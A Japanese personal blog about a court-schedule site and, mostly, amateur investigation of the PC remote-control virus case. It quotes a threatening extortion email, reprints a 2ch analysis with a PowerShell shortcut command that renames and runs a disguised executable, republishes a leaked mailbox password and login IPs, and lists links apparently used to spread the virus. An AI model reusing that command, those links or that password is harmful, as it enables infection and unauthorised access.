Hatena::ブログ(Diary)

satoru.netの自由帳 このページをアンテナに追加 RSSフィード

170627Tueday

当日の裁判の日程を検索できる「裁判.in」をつくってみた

サイトの運営をしていると、裁判所からのお呼び出しが結構ある。

そんで、裁判が始まるまで暇なのでほかの裁判の傍聴でもしようかなー

と思った時、当日に裁判所どんな裁判がやってるのかググっても出てこない。

なぜなら、裁判の日程は裁判所内の紙でしか公開されていないからだ。

受付にある紙をひとつとつ目視で見て、地道に紙にメモするしかない・・・・


むむむ!!!これは不便だーーーっ!と、思って

当日の裁判の日程を検索できるサービスを作ってみた。

https://saiban.in/

裁判.inでできる事

当日の裁判情報が毎日更新

「法廷、時刻、事件名、事件番号、被告人名、審理」等の情報が日々更新されます

マイ傍聴リスト

見たい事件名をチェックするだけで、裁判をピックアップできる機能

検索機能、ソート機能

任意のキーワードに一致する裁判を検索したりソートできます

裁判情報入力ツール

ボランティアになると、裁判情報をツールから簡単に入力できます

入力ボランティア募集中

傍聴好きのあなた!一緒に裁判情報入力しませんか!?


現状、裁判所の日程は裁判所内でしか公開されていません。

なので、現状は毎日、自分で裁判所に足を運んで地道に入力しています。

入力には簡単に入力できる裁判入力ツールを自作で作っています。

もしも、入力にご協力いただける方がいましたら、

yano@satoru.net までご連絡ください。

また、現状は東京地方裁判所 刑事事件のみの対応ですが、

仕組み的には他県の裁判所にも対応できるので、

もしも他県の裁判所で対応できる方がいましたら、ぜひご協力おねがいします。


そもそも裁判の日程(開廷表)ってネットに公開していいの?

裁判自体は一般に公開されるべきものなので、特に問題はないようだ。

ただし、念のため東京地方裁判所広報課に確認をしたところ、

裁判所内での撮影を禁止しているのみで、その再利用、

ネットでの公開などを特に制限する立場になく、ダメともイイとも

特に判断はしませんので、あなたのご判断とご責任で」とのことでした。

140601Sunday

[]【安部銃蔵】真犯人の名乗る人物からのまたメール(全文+ヘッダー)

本日、2014年6月1日00:00:30、遠隔操作の「真犯人」と名乗る人物からまたメールが届いた。

※便乗犯、摸倣犯の可能性もあるので、取り扱い要注意。

ヘッダー情報付き(メールのソース)

全文

@タイトル

安倍晋三の心臓に弾丸ぶち込んで自民党本部にロケット砲を撃ち込む自民党員と

アグネスのPCに児ポぶち込む札幌ガスボンベ大爆破霞ヶ関あぼーん唐沢貴洋あ

ぼーん西村博之あぼーん

@日付:

2014年6月1日 00:00:30

@From:

安部銃蔵 <onigoroshijuzo11111011110@yahoo.co.jp>

@To:

省略。前回の真犯人からのメールと同じあて先(25名)。メールの順番も同じ。

@本文

毎度忘れた頃に現れる真犯人でーす

といってこの事件が忘れられた頃にでも現れようかと思っていたのですが

これ以上片山さんを苦しめるのはさすがに気の毒なので特別にお知らせします。

今回片山さんに自作自演を指示し無実を一転させるよう仕向けたのはこの私です。

あらかじめ片山さんのプライバシー情報をゲットしていたので、従わなければ今まで入手したプライバシー情報を全て拡散するなどと言って脅しました。

連絡先や行動パターン等々も把握するのは容易いことでした。

片山氏が保釈後に尾行されているということも当然わかっていたので、これも利用されてもらいました。

あえて見晴らしの良い場所を彼自身に選択させました。彼は河川敷を選んだようですが、なかなかグッドなチョイスでした。

今回のために彼にスマホやPCをこっそり用意させ、onigoroshijuzo2014アカウントを発行させ私が作成した文章をコピペさせて公判中の時間にでもタイマーで送信するようにさせました。

その後は適当に逃げて捕まったら自分が真犯人かのように振る舞い無実を一転させ有罪、というシナリオです。

片山さんが自殺を試みたとの報道がありましたが、生きていてくれてよかったです。

せっかく用意したゲームでプレイヤーに死なれてゲームオーバーになったんじゃ話にならないので。

■どうやって指示したのか?

まず代行者に専用のURLのみ伝えさせました。片山さんに直接渡したのかどうしたかは知りません。監視者等考慮する必要があったので

手段タイミング等は代行者にお任せです

あ。代行者というのは私の共犯というわけではなく、そういう代行業者さんです。

指示内容とメール文はネット上に載せておきました。当然ですが既に削除済みです。

指示文は保存禁止にし、メール用の文章のみ彼の端末にコピペさせました。

ちなみにURLは記憶に残りにくいものにしたのでまず覚えていないでしょう。もちろん海外のサーバーです。

痕跡が残っているはずはありませんが、でもまあ頑張っていろいろ解析してみてください。何か手がかりが掴めるかもしれませんよ^^

片山氏や代行者へはいずれもこちらからの一方的(一方通行)な指示でしたので連絡を取り合うという形はとっていません。

やるかやらないかもあくまで片山氏自身の判断です。でもまあ弱みを握られてるんじゃ流石にせざるを得ませんよね(笑)

■その他

思っていたより順調だったので満足です。やはり高学歴さんはものわかりがいいですね。とても助かりました。

記念すべき5人目ということで人間遠隔操作の特別サプライズです。楽しんでいただけましたか?

今回片山さんはよく頑張ってくれました。

片山さん、佐藤弁護士江川さん、その他片山さんを支えてきた方々ご苦労様でした。大変素晴らしいご活躍でした。

それにしても世間の皆さんひどい手のひらの返しようでしたねぇ。まったくヒドイ世の中ですねー

この遠隔操作事件というゲームは5人目で締めくくろうと思っていますが、今後、警察・検察の行いによってはまた新たな被害者が出るかもしれないのでくれぐれも注意してくださいね。

あ。今回この件について一番面白い報道をしてくれたテレビ局には、ご褒美に特製花火をプレゼントしてあげましょう

■おまけ

この前、2ちゃんねるにウイルスを貼ったら踏み台がたくさん集まりました。

なのでまたいつでもゲームを始めることも可能です。

ヒント:poverty1398836253

■最後に

もし以上の事を刑務所に入る前に少しでも話してしまったら、片山さんのプライバシー情報全て流出させるように脅してあります。

でももういいです。終わりです。早く片山さんに伝えて楽にしてあげてください。

メールのデータ

PDF

http://yokoku.in/enkaku2012/abejuzo_140601.pdf

@TXT

http://yokoku.in/enkaku2012/abejuzo_140601.txt

@ヘッダー情報付き(メールのソース)

http://yokoku.in/enkaku2012/abejuzo_140601_source.txt

発信元情報など。

メーラー

YahooMailClassic/6.0.18 YahooMailWebService/0.8.111_53

Yahoo!のWebメーラーから送信している。(SMTPではない)

@送信日時

Sun, 01 Jun 2014 00:00:30 JST

ソース

Received: from [192.227.170.19] by web101405.mail.kks.yahoo.co.jp via HTTP; Sun, 01 Jun 2014 00:00:30 JST

X-Mailer: YahooMailClassic/6.0.18 YahooMailWebService/0.8.111_53

X-YMail-JAS: derF9KEVM1lathZJ7nDhFxBOU5DhzIbbOEyyzIRhW6eBav4OFWjzLqt7I_4d_ui6ANFJpfECtwqG4_EgQXOMpdjktjsK37qpUHQaLzApLmFh.PL54LTs8PHfHvCX82tcGSh4

Date: Sun, 1 Jun 2014 00:00:30 +0900 (JST)

@発信IP

192.227.170.19

現時点(2014/6/1)のtor statusによると、torIPの模様。

このIPルーター情報 (192.227.170.19)によるとアメリカtor exitのようだ。

※いずれも2014/06/1 4:30時点のもの

簡単な考察

矛盾点など

その後は適当に逃げて捕まったら自分が真犯人かのように振る舞い無実を一転させ有罪、というシナリオです。

  • 現実には片山氏は「適当に逃げて」おらず、自殺未遂後、自ら弁護士に連絡をした。警察も行動把握していなかった。

片山さんが自殺を試みたとの報道がありましたが、生きていてくれてよかったです。

せっかく用意したゲームでプレイヤーに死なれてゲームオーバーになったんじゃ話にならないので。

  • 「真犯人」の指示で、自作自演で無実を一転させるよう仕向けだけなら、片山氏の自殺未遂の動機は?

メモ

便乗犯、愉快犯
  • メールのあて先さえ入手できれば、第三者でも実現可能。
真犯人・協力者説
  • 従来の「真犯人」メールと時間帯(深夜&土日)の傾向、torを利用している点などは一致。
  • 遠隔操作事件の秘密の暴露などが一切ない為、100%「真犯人」だと確定できない。
片山氏による仕込み、自作自演
  • 片山氏が失踪中に河川敷での行動の言い逃れの為にこのシナリオを考えて、タイマーをセットしてから収監された?
  • Yahoo!Webメールtorを経由して自動送信する事は技術的に可能かどうかの検証が必要。(bot対策などで文字認証などが出てしまう可能性など)
  • 今回のメールの内容には失踪時点で判明している情報だけなので、失踪中に作成する事は実現可能。
  • 河川敷でのタイマー送信、捜査員の追跡、収監、今回のメールまで含めてすべて計画の一環だった?前回のタイマーでの逮捕はこれまでの慎重な真犯人と比較して、あまりにもずさんすぎて納得がいかない。との見方もあった。


関連リンク

真犯人がヒントで示しているスレッド

■おまけ

この前、2ちゃんねるにウイルスを貼ったら踏み台がたくさん集まりました。

なのでまたいつでもゲームを始めることも可能です。

ヒント:poverty1398836253



ウイルスについての指摘(?)と思われる投稿

http://fox.2ch.net/test/read.cgi/poverty/1398876571/35

35 :番組の途中ですがアフィサイトへの転載は禁止です:2014/05/01(木) 02:00:00.83 ID:3I146ai20

>>22

まとめ

rarの中身

 desktop.ini: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed

 mov.lnk: MS Windows shortcut

 thumbs.db: Macromedia Flash Video

 mov.lnkの内容というかプロパティ

 C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe md 'mov' ;del 'mov.lnk' ;saps mov ;mv thumbs.db mov\mov.flv;sp mov\mov.flv attributes Archive;mv 'desktop.ini' '%temp%\x.exe';saps '%temp%\x.exe';

トラップのシナリオ

 ・解凍したらファイルが3つでてくる。

 ・そのうち「mov」と名前が付いてる、「フォルダのアイコン」をしたショートカットトリガー

 ・こいつをダブルクリックとか「開く」とかやると

   ・desktop.ini を、c:\temp\x.exe という名前にリネーム移動

   ・そいつを実行

アウトとセーフ

 ・解凍しただけならセーフ

 ・というか、mov ショートカットに触ってなければ問題ない

 ・ショートカットダブルクリックとか「開く」とかしたらアウト、シングルクリックは多分大丈夫

 ・XPならそもそも↓こんなものは存在しないのでセーフ。vista/7/8は知らん

   C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe

thumbs.db

 JCJSウェブカメラムービー。ニコ生かなんか?パンツも乳首もない、まあ普通の映像

http://fox.2ch.net/test/read.cgi/poverty/1398876571/529

529 :番組の途中ですがアフィサイトへの転載は禁止です:2014/05/01(木) 03:23:35.26 ID:o7sFdkS+0

トレースしてみたが

これ想像以上にかなり悪質かも知れん。

まず、どっかと通信してるんだけど、

これがおそらく実行ファイル置き場。

今は何も置いてないみたいだから特に害はないが

この置き場に実行ファイルが置かれたら

勝手にPCにダウンロードして勝手に実行するようになってる模様。

さらにレジストリにも同時に書き込みをしており、

手動で消したところで「実行ファイルが消されたら新しい実行ファイルを生成」という

命令が出され、しかもファイル名を変えて実行ファイルが作成される。

vmcサキュラバス関数をいじっており、

相当高難度なプログラムとなってる。

もっと分かりやすく箇条書きすると、

仝什澆里△蕕罎ウイルストフトでは探知出来ない

▲侫.ぅ訝屬場との通信を常に行っており、そこに悪質な実行ファイル置かれたらおしまい

手動で消したところですでに常駐&レジストリいじりをされており、無駄

とりあえず、これから先、「何かされる」可能性が高いので

「今特に何も起こってないからセーフ」とは考えてはいけない。

「何かされる」のを防ぐ方法はある。PCの通信を遮断すること。

これなら現状のウイルスが常駐してようと、「成長」することはない。

情報はスマホやサブのノートPCなどで収集するといい。


記事など

遠隔操作ウイルス事件「真犯人」メールが再び届く 「早く片山さんに伝えて楽にしてあげてください」

2ちゃんねる現行スレ

嫌儲

130412Friday

[]記者が遠隔操作真犯人アカウントに不正ログインしていた履歴が公開される

記者がメールサイト入る 遠隔操作の取材で共同通信」このニュースの件の続報。

記者が不正アクセスをしてた同じ時期にログインしてた人が2ちゃんねるに降臨。

その時に撮ったと思われるログイン履歴の画面が斧ろだにうpされた。


そこで、うpされた画像をもとに、この不正アクセス履歴から分かる事の検証まとめた。

公開されたアクセス履歴から分かる事の検証まとめ

※注:検証の一部は2ちゃんねる嫌儲民スレの内容を参考にしている部分があります。

■共同通信社(202.248.159.3)からのアクセス

202.248.159.3によるアクセスは、2012/10/16から始まり計10回。

202.248.159.3のIPの割り当てを調べると[共同通信社]のネットワークだと確認できる。


■記者は真犯人のメール送信後付近でログイン

共同通信IPログインしているのが、10/16〜10/17、2週間の日が開いて、11/15。

真犯人がメールを送ったのは、10/15(犯行声明)11/13(自殺予告メール)

真犯人のメール送信タイミング付近でログインしているのが分かる。


■パスワードは誰でも推測できるものだった

うp主によると真犯人が使った[onigoroshijuzo@yahoo.co.jp]のパスワードは[vxgus1234]だった。

このパスワードは真犯人が2012/10/10に送った犯行声明メール内で

過去に遠隔操作でエキサイトのアカウントを使って犯行予告をした「秘密の暴露」のひとつとして

公開されていたパスワードと同一のものだった。(メアドはmorokkosarin@excite.co.jp)

また、このパスワードはメディアでも広く報道されていた為、

同じパスワードがヤフーアカウントでも使われている事を類推する事は不可能ではない状況だったと言える。


■犯行声明メール、自殺予告メールのタイミング&IPが一致

そもそもこのうp主の画像&履歴本物なのかどうかという信憑性の検証。

1.◆真犯人のメールとの一致

履歴のアクセス時間とメールを受信した時間帯がほぼ一致。

(微妙な時間差は、アカウントログイン後にメール作成後、送信している為だと思われる。)

2.メール配信もとのIPと一致

また自殺予告メール受信時のIP[31.172.30.2]とログインIPも一致。

Received: from [31.172.30.2] by web4111.mail.ogk.yahoo.co.jp via HTTP; Tue, 13 Nov 2012

23:54:42 JST

犯行声明メールのIPは公開されていない情報の為、不明。(当時受信した落合弁護士は検証可能)

3.最初の犯行声明の出所はドイツ

[vm3004.sks-servers.com]というサーバはIP Locaterによるとドイツのホスト。

合同捜査本部が当時ドイツに捜査に行っていた報道にも一致する。

上記のような理由、共同通信社のIPの一致などから

(共同通信社のIPは調べようと思えば調査できないこともないが一般公開されていない情報)

履歴が100%本物であると断定はできないが、事実である可能性が高いといえる。


Yahoo!アカウントが作成されたタイミングは2012/10/10 15:15:22以前

履歴は30件なので最初の記録=アカウントが作成されたタイミング?

2012/10/10 15:15:22 94.23.117.228 vm3004.sks-servers.com tor

2ちゃんねる住人の報告によると、アカウント作成時の履歴はでなかった模様。

真犯人のアカウント作成はもっと前?


■6日と11日のtorは真犯人以外のアクセスかも?

2012/11/11 22:37:22 74.3.165.39 review.designerebuy.net tor

2012/11/6 16:02:25 37.130.227.133 torland1-this.is.a.tor.exit.server.torland.is tor

真犯人からのアクションが特にないのにログインされた記録のある箇所。

真犯人がtorを使ってメールチェックしていたか、

もしくは、up主でもなく記者でもない第三者がまた別にいたのかもしれない。


■1/1の「新クイズ」の成りすましができた人物に「第三者」も含まれることに

2013/1/1に江の島の問題を送ってきた真犯人(?)を名乗るメール『謹賀新年」では

成りすましでない証拠として「宛先をしっている事」をメール内で真犯人が主張していた。

※前のメール送信後すぐアカウント消しちゃったのでアドレスが微妙に変わってます。

宛先が完全一致してることで成りすましじゃないと分かってもらえると思いますが。

しかしパスワードが類推しやすいものであった事、第三者も実際にログインしていた事から、

パスワードに気づいた人なら誰でもonigoroshijuzo2に成りすませた可能性まででてきた。

(これまでは、リストを知ってる人はメールを受け取っていた25人のみと思われていた検証記事

ただし、その後、江の島で回収されたSDカードの中身に遠隔操作の真犯人しか知りえない情報があった場合は、

成りすましの可能性は限りなく低くなるので、裁判で公表されるであろうSDカードの中身に注目したいところ。

履歴がうpされるまでの経緯まとめ

下記は、2ちゃんねる上でログイン履歴が公開されるまでの経緯まとめ。

2ちゃんねるに不正ログインした記者と同時期にログインしていた人が降臨

http://unkar.org/r/poverty/1365695174/340,377

340 : ◆3OViQIg1Xc : 2013/04/12(金) 10:06:46.79 ID:kPmagYq70

お、ついに記事でたか

俺も2件目のメールの後に気づいてログインできたけど、かなり共同がログインした形跡あったからなあ

ちなみにアカウントは例の鬼殺十蔵@ヤフー

パスワードはvxgus1234

1件目の真犯人からのメールの時に、別のアカウントのパスワードとして書かれてたっけ。

パスワード自体は2件目の前には公開されてたから、実は2件目のメール以降は真犯人じゃない可能性もあるんだよね。

ちなみに、俺が気づいた直後に警察に報告したけど、その時点まで誰も気づいてなかったらしい。

後、今年入ってからだったか、共同に一度この事聞いたから、そこから内部調査入ったのかもね。

ちなみに、知ってる限りでは犯人(Tor)と共同等の報道機関以外はログインした形跡なかった。

377 : ◆3OViQIg1Xc : 2013/04/12(金) 13:38:22.28 ID:DWfPNf9m0

+に書こうと思ったけど書けなかった。

パスワードはもう使えない。真犯人かは今となっては不明だが、今年1/1に垢削除済み。

その辺の検証は矢野さとるのブログ見ればわかる

俺がログインした時点では共同とTor以外ではログインした形跡はなかった。

ちなみに、このパスワードはExciteメールのパスとして公開されてた。

そっちは国内生IPアドレスがごろごろしてたよ。共同も混ざってた。

とりあえずアクセスできた時の証拠は置いておく。

斧 so 2866027

パスはさっき晒した奴

当然ながら不正アクセス禁止法に引っかかってるのはわかってたから、ログインしたのはこの一回だけ。

ちなみに、俺が連絡した時点で警察はこの事実は知らなかったと言ってたし、まず警察からのリークではない。

誰でも探せばアクセスできる状態だった。

警察に知らせたのは2012年中だったから、片山容疑者の逮捕時点ではそれを把握していたはず。

斧のURLに履歴の画面キャプチャーがアップロードされる

http://www1.axfc.net/uploader/so/2866027

キーワード:[vxgus1234]

アップロードされた画像

[202.248.159.3]=共同通信社

202.248.159.3のIPを調べてみると[共同通信社]からのアクセスで確定

http://whois.ansi.co.jp/202.248.159.3

Network Information: [ネットワーク情報]

a. [IPネットワークアドレス] 202.248.152.0/21

b. [ネットワーク名] KYODONEWSNET

f. [組織名] 社団法人共同通信社

g. [Organization] Kyodo News

m. [管理者連絡窓口] FM575JP

n. [技術連絡担当者] FM575JP

p. [ネームサーバ] ns.center.web.ad.jp

p. [ネームサーバ] ns01hca.kyodonews.jp

p. [ネームサーバ] ns02hca.kyodonews.jp

[割当年月日]

[返却年月日]

[最終更新] 2010/09/02 14:08:03(JST)

一覧

日時 IP ホスト

2012/11/15 11:51:17 - - up主

2012/11/15 10:42:41 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/11/15 2:30:16 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/11/15 0:26:24 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/11/13 23:48:36 31.172.30.2 tor19.anonymizer.ccc.de tor

2012/11/13 23:45:33 109.163.233.205 gorz.torservers.net tor

2012/11/11 22:37:22 74.3.165.39 review.designerebuy.net tor

2012/11/6 16:02:25 37.130.227.133 torland1-this.is.a.tor.exit.server.torland.is tor

2012/10/17 11:39:08 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/16 11:57:36 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/16 11:44:27 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/16 11:40:32 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/16 11:38:26 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/16 11:35:35 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/16 11:32:27 202.248.159.3 KYODONEWSNET(202.248.152.0/21) 共同通信

2012/10/10 22:18:57 94.23.117.228 vm3004.sks-servers.com tor

2012/10/10 15:15:22 94.23.117.228 vm3004.sks-servers.com tor

130310Sunday

[]真犯人の直筆と、片山被疑者の直筆メモの筆跡比較

2013年3月9日、「【PC遠隔操作事件】被疑者が述べた全てを公開」の記事にて

被疑者の片山祐輔氏の自筆メモ」が一般公開。

これにより、真犯人による謹賀新年メール時の文字との筆跡比較が出来るかと思い検証。


2013/1/1「謹賀新年」に送られた雲取山写真での「このへん」の文字

「2012/1/1謹賀新年」真犯人が示した画像より

「片山容疑者の直筆メモ」内の「こ・の・へ・ん」に該当する部分

転載元:被疑者の片山祐輔氏の自筆メモ

「こ・の・へ・ん」に該当する文字部分を抽出

それぞれの字の対応表と文字の特徴

  • 「こ」 被疑者の文字は上より下が短い、真犯人の字は下が長く斜めになる特徴
    • 「に」の右部分も「こ」と似たような特徴が出ている
  • 「の」 被疑者の字は丸み部分が小さく尻尾が長い、真犯人の字は丸み部分が大きく尻尾が短い
  • 「ん」 被疑者の字は尾部分がはねる「レ」のような特徴、真犯人の字はお手本通りでバランスがよい

PCで書いた文字とマウスで書いた文字の筆跡は似るのか?の検証

そもそも、マウスで書く文字と紙に書く文字は似るのか?という検証。

自分でペン(紙)とマウス(PC)を使って「このへん」を書いてみて比較。

結果的には、マウスの文字でも筆跡の特徴や雰囲気は似るみたいです。

意図的に特徴を変えたり意識をしない限りは同一人物であれば似るのかなと思いました。

※下記画像は真犯人や被疑者の文字ではなく、当ブログ筆者の今回の検証用に書いた直筆です

121119Monday

[]遠隔操作真犯人の投稿のまとめ&分析

遠隔操作の真犯人がtorを使って2ちゃんねるのスレに投稿依頼や、

ついつい生IP(?)で【作ってみた。】とスレに書き込んでしまった(?)とされる書き込みの内容を

おさらいも兼ねてまとめ&分析をしてみた。

これまでの犯人による投稿&メールからわかる事まとめ

■1件以外、IPは常にtorのネットワーク
  • 2012/06/29(金) 13:44:17.95、tor19.anonymizer.ccc.de(31.172.30.2)、代行依頼投稿
  • 2012/06/29(金) 15:17:15.49、tor-exit-router35-readme.formlessnetworking.net(199.48.147.35)、代行依頼投稿
  • 2012/07/27(金) 13:21:49.09、spftor3.privacyfoundation.ch(62.220.135.129)、代行依頼投稿
  • 2012/08/24(金) 19:05:59.57、politkovskaja.torservers.net(77.247.181.165)、代行依頼投稿
  • 2012/08/28(火) 15:06:36.62、IPなし、ID:dqHld3xh0※2、ソフトウェア板に投稿
  • 2012/08/28(火) 16:26:18.21、tor3.anonymizer.ccc.de(80.237.226.73)、代行依頼投稿
  • 2012/09/10(月) 14:29:01.52、tor19.anonymizer.ccc.de(31.172.30.2)、代行依頼投稿
  • 2012/10/9(火) 23:22、発信元IP不明、犯行声明メール
  • 2012/11/13(火) 23:54:44、tor19.anonymizer.ccc.de(31.172.30.2)、自殺予告メール
■投稿されている時期
  • 今のところ、2ちゃんねるへの投稿が確定している時期は2012年6月〜9月の期間
■31.172.30.2のIPが頻出
  • 投稿2件に加え、11/13に届いた自殺予告のメールの発信元IP[31.172.30.2]から。
  • ホスト名は[tor19.anonymizer.ccc.de]
  • 31.172.30.2のIPtor出口になりやすいIPなのかな?

f:id:satoru_net:20121119150703p:image

  • サーバの場所はGermany(ドイツ)。
  • ドイツの善良ハッカー集団『Chaos Compute Club』の19番目の匿名サーバ
■投稿されていた板はシベリア板とソフトウェア板
■はじめのターゲットは【まちBBSの保土ヶ谷スレ】で、その後【2ちゃんねる】に変更した

シベリア郵便局・402通目【レス代行】 でまちBBSへの投稿依頼をするも、

まちBBSなど2ちゃんねる外への配達はお取り扱いいたしません』と拒否されて、

その後、同日2時間後OCN規制被害者の会 2006年目のスレに自ら書き込んだ。

依頼時に『保土ヶ谷区スレ Part48』と正確なスレ名を書いていることから、

同日にまちBBSの保土ヶ谷スレもチェックしていてアクセスをしていた可能性高め。

■短縮URL、アップローダとして使われたwebサービス
  • is.gd
  • bit.ly
  • dropbox.com
  • www1.axfc.net

さらにもっと分析

上記まとめを踏まえて

  • 時期 2012年5月〜9月の期間
  • OCN規制被害者の会 ***年目
  • 気軽に「こんなソフトありませんか?」 Part.***
  • 問答無用でレス代行 *** シベリア

上記3スレの過去スレ〜現在のスレを含めて全143スレッド、計143000件の投稿を対象に、

  • 真犯人が使ったtor IPを含む投稿
  • もしくは 短縮URL、アップローダURLが含まれる投稿

をピックアップしてみた。(簡単なスクレイピングプログラムを作って抽出)

上記の条件に一致した全投稿一覧

  • ヒットした部分を赤字で表現。
  • ヒットした結果はすべてが犯人の投稿と断定したものではありません。
  • あくまで条件に近い書き込みを自動抽出したものです
  • 順番は日付順
  • 真犯人が投稿したものとして報道されているものは赤背景、それ以外の書き込みは灰色背景

シベリア郵便局・399通目 p6e5b2d.chibnt01.ap.so-net.ne.jp(218.110.91.45)

21 :いやあ名無しってほんとにいいもんですね:2012/05/21(月) 21:31:50.45 発信元:218.110.91.45
【依 頼に関してのコメントなど】お手数おかけしますが、よろしくお願いします。
【板名】新・mac
スレッド名】Macのこんなソフト・アプリを探してます Part40
スレッドURLhttp://anago.2ch.net/test/read.cgi/mac/1295125833/
【名前欄】ただ今規制中につきレス代行をお願いしております
【メール欄】sage
【本文】↓
>>796
まだみてる?
ttp://anago.2ch.net/test/read.cgi/mac/1281949690/776
と同じ内容の依頼なら、
ttp://anago.2ch.net/test/read.cgi/mac/1294634996/432
というわけで
ttp://www1.axfc.net/uploader/Sc/so/217103.zip
を使うといいかもしれん。出来が悪くて申し訳ないが。

シベリア郵便局・402通目 spftor3.privacyfoundation.ch(62.220.135.129)

6 :いやあ名無しってほんとにいいもんですね:2012/06/22(金) 17:35:20.80 発信元:62.220.135.129
すみませぬ、ややこしいですが、スレ立て代行スレにカキコしてもらいたく。
対象URL
http://anago.2ch.net/test/read.cgi/ghard/1339513032/

↓以下全部、本文

スレタイ
はちま産がはちまでついに犯行予告か?
本文
ここのコメント欄の2126
http://blog.esuteru.com/archives/6335732.html

シベリア郵便局・402通目 tor19.anonymizer.ccc.de(31.172.30.2)

824 :いやあ名無しってほんとにいいもんですね:2012/06/29(金) 13:44:17.95 発信元:31.172.30.2
【依頼に関してのコメント】まちBBSですがよろしくお願い致します
【板名】まちBBS神奈川
【スレ名】◆◇保土ヶ谷区スレ Part48◇◆
【スレURLhttp://kanto.machi.to/bbs/read.cgi/kana/1324164609/l50
【名前】
【メール欄】
【本文】
駐車対策でこのネタ思い出したwww
http://is.gd/STDcf0

シベリア郵便局・405通目 spftor3.privacyfoundation.ch(62.220.135.129)

274 :いやあ名無しってほんとにいいもんですね:2012/07/27(金) 13:21:49.09 発信元:62.220.135.129
【依頼に関してのコメントなど】よろしくお願いします。
【板名】ソフトウェア
スレッド名】気軽に「こんなソフトありませんか?」 Part.149
スレッドURLhttp://anago.2ch.net/test/read.cgi/software/1341460675/
【名前欄】
【メール欄】
【本文】↓
>>400
これで需要は満たすかな?
とりあえずキーボード操作は可能
http://bit.ly/PPb66w

シベリア郵便局・407通目 politkovskaja.torservers.net(77.247.181.165)

941 :いやあ名無しってほんとにいいもんですね:2012/08/24(金) 19:05:59.57 発信元:77.247.181.165
【依頼に関してのコメントなど】よろしくお願いします
【板名】ソフトウェア
【スレ名】気軽に「こんなソフトありませんか?」 Part.149
【ス レURLhttp://anago.2ch.net/test/read.cgi/software/1341460675/l50
【名前欄】
【メール欄】
【本文】
>>826
ピッタリのがあった
クリップボード監視君
http://dl.dropbox.com/u/99190777/CBUtil.zip

シベリア郵便局・413通目 EM114-48-60-114.pool.e-mobile.ne.jp(114.48.60.114)

918 :いやあ名無しってほんとにいいもんですね:2012/10/02(火) 17:55:55.60 発信元:114.48.60.114
【依頼に関してのコメントなど】 ずっと規制中です(TT) よろしくお願いします。
【板名】 Download板
スレッド名】 【うpろだ】声優総合スレッド 99【Uploader 】
スレッドURLhttp://awabi.2ch.net/test/read.cgi/download/1346368472/
【名前欄】
【メール欄】sage
【本文】↓

>>941さん どうぞ。
はやめに消すので、再掲はコッソリ元気に自己責任でw

http://www1.axfc.net/uploader/S/so/127777
kanae

OCN規制被害者の会 2002年目 politkovskaja.torservers.net(77.247.181.165)

696 :いやあ名無しってほんとにいいもんですね:2012/06/26(火) 15:43:45.10 発信元:77.247.181.165
愛は弱者の言い訳だ
神は死んだ

OCN規制被害者の会 2002年目 politkovskaja.torservers.net(77.247.181.165)

700 :いやあ名無しってほんとにいいもんですね:2012/06/26(火) 15:45:07.36 発信元:77.247.181.165
>>695
お前のは膜じゃなくて”皮”だろ?w
何か朝顔の蕾みたいな形した皮w

OCN規制被害者の会 2002年目 politkovskaja.torservers.net(77.247.181.165)

709 :いやあ名無しってほんとにいいもんですね:2012/06/26(火) 15:52:21.13 発信元:77.247.181.165
>>704
>何も変わらなそう

少なくとも悪い方へは確実に変わってる事になるから変わってないわけじ ゃない
っつか所得傾向やら諸々が悪化することが目的だとしたらどうか?>増税の本当の目的

OCN規制被害者の会 2002年目 tor19.anonymizer.ccc.de(31.172.30.2)

716 :いやあ名無しってほんとにいいもんですね:2012/06/26(火) 15:55:41.19 発信元:31.172.30.2
>>708
>選挙権あるのに放棄

これも権利に含まれてた筈だよ
参政権は義務じゃないから強制されてない
だから意外と知られてないけど辞退する権利はそもそもある

OCN規制被害者の会 2002年目 tor19.anonymizer.ccc.de(31.172.30.2)

722 :いやあ名無しってほんとにいいもんですね:2012/06/26(火) 15:57:46.08 発信元:31.172.30.2
>>714
デカイのは口だけなんだよ原口は元々w

OCN規制被害者の会 2002年目 tor19.anonymizer.ccc.de(31.172.30.2)

724 :いやあ名無しってほんとにいいもんですね:2012/06/26(火) 16:01:35.83 発信元:31.172.30.2
>>720
そうじゃねーよ
投票するに値する政策論者や候補者が居ないから辞退した
と言う事なら自ずと文句も出るだろう

今回総選挙ったら、もう投票する矛先は居ないぜきっと
どこも裏切りもんばっかだしな

幸福実現党の躍進かw
または共産党の念 願が果たせる大チャンスって位ヤバイw

OCN規制被害者の会 2006年目 tor-exit-router35-readme.formlessnetworking.net(199.48.147.35)

221 :いやあ名無しってほんとにいいもんですね:2012/06/29(金) 15:17:15.49 発信元:199.48.147.35
小ネタですが...
http://is.gd/STDcf0

OCN規制被害者の会 2010年目 tor19.anonymizer.ccc.de(31.172.30.2)

807 :いやあ名無しってほんとにいいもんですね:2012/07/04(水) 01:50:33.41 発信元:31.172.30.2
http://livedoor.blogimg.jp/hamusoku/imgs/1/c/1cd6fc3e.jpg

これを間違えるようだと益々アスペ濃厚

OCN規制被害者の会 2010年目 tor19.anonymizer.ccc.de(31.172.30.2)

815 :いやあ名無しってほんとにいいもんですね:2012/07/04(水) 02:07:14.37 発信元:31.172.30.2
ではもう一問

ある日あなたは久しぶりの休日の買い物に出かけました
前日には家族に「明日は久々にアキバに買い物行って来るよ」 と嬉々として語り
その姿を見た家族も、まあ嬉しそうだしたまには良いよねっと言っていました
帰ってきてあなたは家族にこう言われました
「どうだった?」

さて、あなたの答えは?

OCN規制被害者の会 2010年目 tor19.anonymizer.ccc.de(31.172.30.2)

825 :いやあ名無しってほんとにいいもんですね:2012/07/04(水) 02:34:07.30 発信元:31.172.30.2
>>824
君は余計な勘繰りを勝手に挟み込んでる時点でアスペ濃厚

